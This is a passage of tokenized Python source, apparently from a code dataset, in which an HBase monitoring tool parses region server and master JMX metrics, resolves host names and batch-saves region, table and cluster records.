"(_", "metric", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "region", "\\u", "operati", "on", "\\u", "metrics_", "=_", "region", "\\u", "operati", "on", "\\u", "metric", "s", "\\u", "dict_", "._", "setdefault_", "(_", "encode", "Name_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "region", "\\u", "operati", "on", "\\u", "metrics_", "[_", "metric", "Name_", "]_", "=_", "bean", "_", "[_", "metric", "Name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "bean", "_", "[_", "'", "name", "'_", "]_", "._", "startswith_", "(_", "REGION", "\\u", "SERVER", "\\u", "REPLICA", "TIO", "N", "\\u", "BEA", "N", "\\u", "NAME", "\\u", "PREFIX_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "peer", "Id_", "=_", "metric", "\\u", "helper_", "._", "parse", "\\u", "replication", "\\u", "source_", "(_", "bean", "_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "replication", "\\u", "metrics_", "=_", "replication", "\\u", "metric", "s", "\\u", "dict_", "._", "setdefault_", "(_", "peer", "Id_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "metric", "Name_", "in_", "bean", "_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "replication", "\\u", "metrics_", "[_", "metric", "Name_", "]_", "=_", "bean", "_", "[_", "metric", "Name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\"%", "r", " ", "fail", "ed", " ", "to", " ", "analyze", " ", "metric", "s", ":", " ", "%", "r", "\"_", ",_", "metric", "\\u", "task_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "region", "\\u", "server_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "region", "\\u", "server", "\\u", "name_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region", "\\u", "server_", "=_", "Region", "Server_", "._", "objects_", "._", "get_", "(_", "name_", "=_", "region", "\\u", "server", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Region", "Server_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\"%", "r", " ", "fail", "ed", " ", "to", " ", "find", " ", "region", "\\u", "server", " ", "with", " ", "region", "\\u", "server", "\\u", "name", "=", "%", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "\\u", "task_", ",_", "region", "\\u", "server", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "save", " ", "replication", " ", "metric", "s", " ", "for", " ", "region", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "region", "\\u", "server_", "._", "replication", "\\u", "last", "\\u", "atte", "mpt", "\\u", "time_", "=_", "metric", "\\u", "task_", "._", "last", "\\u", "atte", "mpt", "\\u", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "region", "\\u", "server_", "._", "replication", "Metrics_", "=_", "json_", "._", "dumps_", "(_", "replication", "\\u", "metric", "s", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "region", "\\u", "server_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "region", "\\u", "record", "\\u", "need", "\\u", "save_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "encode", "Name_", ",_", "operati", "on", "Metrics_", "in_", "region", "\\u", "operati", "on", "\\u", "metric", "s", "\\u", "dict_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region", "\\u", "record_", "=_", "dbu", "til_", "._", "get", "\\u", "region", "\\u", "by", "\\u", "regions", "erver", "\\u", "and", "\\u", "encode", "name_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "region", "\\u", "server_", ",_", "encode", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "must", " ", "wait", " ", "region", " ", "saved", " ", "after", " ", "analy", "zin", "g", " ", "master", " ", "task_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "region", "\\u", "record_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "region", "\\u", "record_", "._", "analyze", "\\u", "from", "\\u", "region", "\\u", "server", "\\u", "operati", "on", "\\u", "metrics_", "(_", "operati", "on", "Metrics_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "\\u", "task_", "._", "last", "\\u", "atte", "mpt", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "first", " ", "buffer", " ", "the", " ", "regions", " ", "need", "ed", " ", "to", " ", "update", ",", " ", "then", " ", "do", " ", "batch", " ", "update_", "\\u\\u\\uNL\\u\\u\\u_", "region", "\\u", "record", "\\u", "need", "\\u", "save_", "._", "append_", "(_", "region", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "do", " ", "batch", " ", "update_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "begin_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbu", "til_", "._", "update", "\\u", "regions", "\\u", "for", "\\u", "region", "\\u", "server", "\\u", "metrics_", "(_", "region", "\\u", "record", "\\u", "need", "\\u", "save_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"%", "r", " ", "batch", " ", "save", " ", "region", " ", "record", " ", "for", " ", "region", "\\u", "server", ",", " ", "\"_", "\"", "saved", " ", "regions", "=", "%", "d", ",", " ", "consume", "=", "%", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "\\u", "task_", ",_", "len_", "(_", "region", "\\u", "record", "\\u", "need", "\\u", "save_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "str_", "(_", "(_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "-_", "begin_", ")_", "._", "total", "\\u", "seconds_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "host", "\\u", "and", "\\u", "port", "\\u", "from", "\\u", "region", "\\u", "server", "\\u", "name_", "(_", "rs", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "rs", " ", "name", " ", "format", " ", "is", " ", "format", "ted", " ", "as", " ", ":", " ", "host", "\\u", "name", ",", "port", ",", "start", "\\u", "code", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "some", " ", "cluster", ",", " ", "the", " ", "format", " ", "may", " ", "be", " ", ":", " ", "host", "\\u", "ip", ",", "port", ",", "start", "\\u", "code", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "will", " ", "try", " ", "to", " ", "convert", " ", "host", "\\u", "ip", " ", "to", " ", "cop", "rre", "son", "ding", " ", "host", "\\u", "name_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bec", "aus", "e", " ", "we", " ", "alw", "ay", "s", " ", "try", " ", "to", " ", "save", " ", "host", "\\u", "name", " ", "and", " ", "port", " ", "to", " ", "identi", "ty", " ", "a", " ", "task_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", " ", "tha", "t", " ", "we", " ", "can", "'", "t", " ", "get", " ", "host", "\\u", "name", " ", "from", " ", "host", "\\u", "ip_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tokens_", "=_", "rs", "\\u", "name_", "._", "split_", "(_", "','_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "tokens_", "[_", "0_", "]_", "#", " ", "may", " ", "be", " ", "host", "\\u", "name", " ", "or", " ", "host", "\\u", "ip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host", "\\u", "name_", "=_", "socket_", "._", "geth", "ost", "by", "addr_", "(_", "host_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\"", "can", "'", "t", " ", "get", " ", "host", "\\u", "name", " ", "for", " ", "host", "=", "%", "s", "\"_", ",_", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "name_", "=_", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "jm", "x", " ", "port", " ", "is", " ", "rs", "\\u", "port", " ", "+", " ", "1", ",", " ", "host", " ", "and", " ", "jm", "x", " ", "port", " ", "will", " ", "identify", " ", "a", " ", "task_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "port_", "=_", "int_", "(_", "tokens_", "[_", "1_", "]_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "host", "\\u", "name_", ",_", "port_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "analyze", "\\u", "hbase", "\\u", "master", "\\u", "metrics_", "(_", "metric", "\\u", "task_", ",_", "metrics_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cluster_", "=_", "metric", "\\u", "task_", "._", "job_", "._", "cluster_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hbase", "\\u", "cluster", "\\u", "record_", ",_", "created_", "=_", "HB", "ase", "Cluster_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "cluster_", "=_", "cluster_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reset", "\\u", "aggregated", "\\u", "metrics_", "(_", "hbase", "\\u", "cluster", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tables_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "region", "\\u", "record", "\\u", "need", "\\u", "save_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "bean", "_", "in_", "metrics_", "[_", "'", "beans", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "Region", "Server", "s", "'_", "not_", "in_", "bean", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "rs", "\\u", "metrics_", "in_", "bean", "_", "[_", "'", "Region", "Server", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rs", "\\u", "name_", "=_", "rs", "\\u", "metrics_", "[_", "'", "key", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "rs", "\\u", "hostname_", ",_", "rs", "\\u", "port_", "]_", "=_", "get", "\\u", "host", "\\u", "and", "\\u", "port", "\\u", "from", "\\u", "region", "\\u", "server", "\\u", "name_", "(_", "rs", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rs", "\\u", "task_", "=_", "dbu", "til_", "._", "get", "\\u", "task", "\\u", "by", "\\u", "host", "\\u", "and", "\\u", "port_", "(_", "rs", "\\u", "hostname_", ",_", "rs", "\\u", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rs", "\\u", "record_", ",_", "created_", "=_", "Region", "Server_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "cluster_", "=_", "cluster_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "task_", "=_", "rs", "\\u", "task_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "region", " ", "server", " ", "name", " ", "include", "s", " ", "start", "Time", ",", " ", "whi", "ch", " ", "means", " ", "the", " ", "same", " ", "region", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "will", " ", "lead", " ", "different", " ", "Region", "Server", " ", "record", "s", " ", "if", " ", "the", " ", "region", " ", "server", " ", "restart", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", "fore", ",", " ", "we", " ", "won", "'", "t", " ", "create", " ", "region", " ", "server", " ", "by", " ", "its", " ", "name", "._", "\\u\\u\\uNL\\u\\u\\u_", "rs", "\\u", "record_", "._", "name_", "=_", "rs", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rs", "\\u", "value_", "=_", "rs", "\\u", "metrics_", "[_", "'", "value", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rs", "\\u", "record_", "._", "last", "\\u", "atte", "mpt", "\\u", "time_", "=_", "metric", "\\u", "task_", "._", "last", "\\u", "atte", "mpt", "\\u", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rs", "\\u", "record_", "._", "load_", "=_", "int_", "(_", "rs", "\\u", "value_", "[_", "'", "load", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rs", "\\u", "record_", "._", "number", "Of", "Regions", "_", "=_", "int_", "(_", "rs", "\\u", "value_", "[_", "'", "number", "Of", "Regions", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reset", "\\u", "aggregated", "\\u", "metrics_", "(_", "rs", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "read", " ", "out", " ", "all", " ", "regions", " ", "belo", "ng", " ", "to", " ", "this", " ", "region", " ", "server", " ", "and", " ", "build", " ", "a", " ", "map_", "\\u\\u\\uNL\\u\\u\\u_", "all", "\\u", "regions", "\\u", "in", "\\u", "rs_", "=_", "Region_", "._", "objects_", "._", "filter_", "(_", "region", "\\u", "server_", "=_", "rs", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "regions", "\\u", "in", "\\u", "rs_", "=_", "dbu", "til_", "._", "get", "\\u", "alive", "\\u", "regions", "\\u", "by", "\\u", "rs_", "(_", "rs", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "regions", "\\u", "map_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"%", "r", " ", "Finish", " ", "get", " ", "region", ":", " ", "%", "d", "\"_", ",_", "metric", "\\u", "task_", ",_", "len_", "(_", "all", "\\u", "regions", "\\u", "in", "\\u", "rs_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "region_", "in_", "all", "\\u", "regions", "\\u", "in", "\\u", "rs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "\\u", "regions", "\\u", "map_", "[_", "region_", "._", "name_", "]_", "=_", "region_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "regions", "Load_", "=_", "rs", "\\u", "value_", "[_", "'", "regions", "Load", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "region", "\\u", "metrics_", "in_", "regions", "Load_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region", "\\u", "value_", "=_", "region", "\\u", "metrics_", "[_", "'", "value", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "region", "\\u", "name_", "=_", "region", "\\u", "value_", "[_", "'", "name", "As", "String", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name_", "=_", "region", "\\u", "name_", "._", "split_", "(_", "','_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\"%", "r", " ", "fail", "ed", " ", "to", " ", "get", " ", "region", " ", "name", ":", " ", "%", "r", ",", " ", "%", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "\\u", "task_", ",_", "e_", ",_", "region", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "region", "\\u", "metrics_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "table", "\\u", "name_", "not_", "in_", "tables_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "record_", ",_", "created_", "=_", "Table_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "cluster_", "=_", "cluster_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "table", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reset", "\\u", "aggregated", "\\u", "metrics_", "(_", "table", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tables_", "[_", "table", "\\u", "name_", "]_", "=_", "table", "\\u", "record_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "table", "\\u", "record_", "=_", "tables_", "[_", "table", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "region", "\\u", "record_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "region", "\\u", "name_", "in_", "all", "\\u", "regions", "\\u", "map_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "region", "\\u", "record_", "=_", "all", "\\u", "regions", "\\u", "map_", "[_", "region", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "region", " ", "record", " ", "not", " ", "in", " ", "buffer", ",", " ", "we", " ", "get", "\\u", "or", "\\u", "create", " ", "from", " ", "db_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "begin_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "region", "\\u", "record_", ",_", "created_", "=_", "Region_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "table_", "=_", "table", "\\u", "record_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "region", "\\u", "name_", ",_", "encode", "Name_", "=_", "Region_", "._", "get", "\\u", "encode", "\\u", "name_", "(_", "region", "\\u", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "defaults_", "=_", "{_", "\"", "region", "\\u", "server", "\"_", ":_", "rs", "\\u", "record_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"%", "r", " ", "get", "\\u", "or", "\\u", "create", " ", "region", " ", "in", " ", "region", "\\u", "server", " ", "from", " ", "mysql", ",", " ", "\"_", "\"", "consume", "=", "%", "s", ",", " ", "region", "\\u", "name", "=", "%", "s", ",", " ", "buffered", "\\u", "rs", "=", "%", "s", ",", " ", "get", "\\u", "rs", "=", "%", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "\\u", "task_", ",_", "str_", "(_", "(_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "-_", "begin_", ")_", "._", "total", "\\u", "seconds_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "region", "\\u", "name_", ",_", "rs", "\\u", "record_", "._", "name_", ",_", "region", "\\u", "record_", "._", "region", "\\u", "server_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"%", "r", " ", "Finish", " ", "analyze", " ", "regions", "Load", "\"_", ",_", "metric", "\\u", "task_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "region", "\\u", "record_", "._", "region", "\\u", "server_", "=_", "rs", "\\u", "record_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "region", "\\u", "record_", "._", "analyze", "\\u", "region", "\\u", "record_", "(_", "region", "\\u", "value_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "\\u", "task_", "._", "last", "\\u", "atte", "mpt", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "buffer", " ", "the", " ", "regions", " ", "need", "ed", " ", "update", " ", "for", " ", "batch", " ", "update_", "\\u\\u\\uNL\\u\\u\\u_", "region", "\\u", "record", "\\u", "need", "\\u", "save_", "._", "append_", "(_", "region", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aggre", "gate", "\\u", "metrics_", "(_", "region", "\\u", "record_", ",_", "rs", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aggre", "gate", "\\u", "metrics_", "(_", "region", "\\u", "record_", ",_", "table", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aggre", "gate", "\\u", "metrics_", "(_", "region", "\\u", "record_", ",_", "hbase", "\\u", "cluster", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rs", "\\u", "record_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "table", "\\u", "record_", "in_", "tables_", "._", "itervalues_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "record_", "._", "last", "\\u", "atte", "mpt", "\\u", "time_", "=_", "metric", "\\u", "task_", "._", "last", "\\u", "atte", "mpt", "\\u", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table", "\\u", "record_", "._", "availability_", "=_", "dbu", "til_", "._", "get", "Table", "Avail", "ability_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "table", "\\u", "record_", "._", "cluster_", "._", "name_", ",_", "table", "\\u", "record_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table", "\\u", "record_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hbase", "\\u", "cluster", "\\u", "record_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "do", " ", "batch", " ", "update_", "\\u\\u\\uNL\\u\\u\\u_", "begin_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbu", "til_", "._", "update", "\\u", "regions", "\\u", "for", "\\u", "master", "\\u", "metrics_", "(_", "region", "\\u", "record", "\\u", "need", "\\u", "save_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"%", "r", " ", "batch", " ", "save", " ", "region", " ", "record", " ", "for", " ", "master", ",", " ", "\"_", "\"", "saved", " ", "regions", "=", "%", "d", ",", " ", "consume", "=", "%", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "metric", "\\u", "task_", ",_", "len_", "(_", "region", "\\u", "record", "\\u", "need", "\\u", "save_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "str_", "(_", "(_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "-_", "begin_", ")_", "._", "total", "\\u", "seconds_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "traceback_", "._", "print", "\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "warning_", "(_", "\"%", "r", " ", "fail", "ed", " ", "to", " ", "analyze", " ", "metric", "s", ":", " ", "%", "r", "\"_", ",_", "metric", "\\u", "task_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "analyze", "\\u", "metrics_", "(_", "metric", "\\u", "task_", ",_", "metrics_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "beans", "'_", "not_", "in_", "metrics_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "analyze", " ", "hbase", " ", "metric_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "metric", "\\u", "task_", "._", "job_", "._", "cluster_", "._", "service_", "._", "name_", "==_", "'", "hbase", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "time_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "metric", "\\u", "task_", 